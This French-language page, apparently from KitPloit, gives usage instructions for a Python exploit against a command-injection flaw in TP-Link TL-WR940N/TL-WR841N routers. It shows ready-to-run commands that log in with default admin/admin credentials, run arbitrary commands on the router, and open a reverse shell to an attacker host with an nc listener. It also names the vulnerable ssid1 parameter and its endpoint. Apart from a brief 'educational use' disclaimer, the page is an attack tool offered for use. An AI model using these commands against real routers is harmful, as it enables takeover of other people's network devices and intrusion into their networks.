Exploit Python pour la vulnérabilité d'injection de commande TP-Link TL-WR940N/TL-WR841N

Instructions d'utilisation

1. Vérification de base de la vulnérabilité :

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
   

2. Exécuter une commande personnalisée :

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
   

3. Reverse Shell (configurez d'abord un écouteur avec nc -lvnp 4444) :

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
   

Remarques importantes :

• Ces scripts sont uniquement destinés à des fins éducatives et de test
• Obtenez toujours une autorisation appropriée avant de tester un système
• La commande de redémarrage est utilisée par défaut car elle est non destructive et facilement vérifiable
• Le reverse shell peut ne pas fonctionner sur toutes les versions de firmware car il dépend des binaires disponibles
• Certaines versions de firmware nécessitent un chemin aléatoire dans l'URL que le script tente de détecter automatiquement

La vulnérabilité existe en raison d'une désinfection incorrecte des entrées dans le paramètre ssid1 du point de terminaison /userRpm/WlanNetworkRpm.htm, permettant une injection de commande via des requêtes spécialement conçues.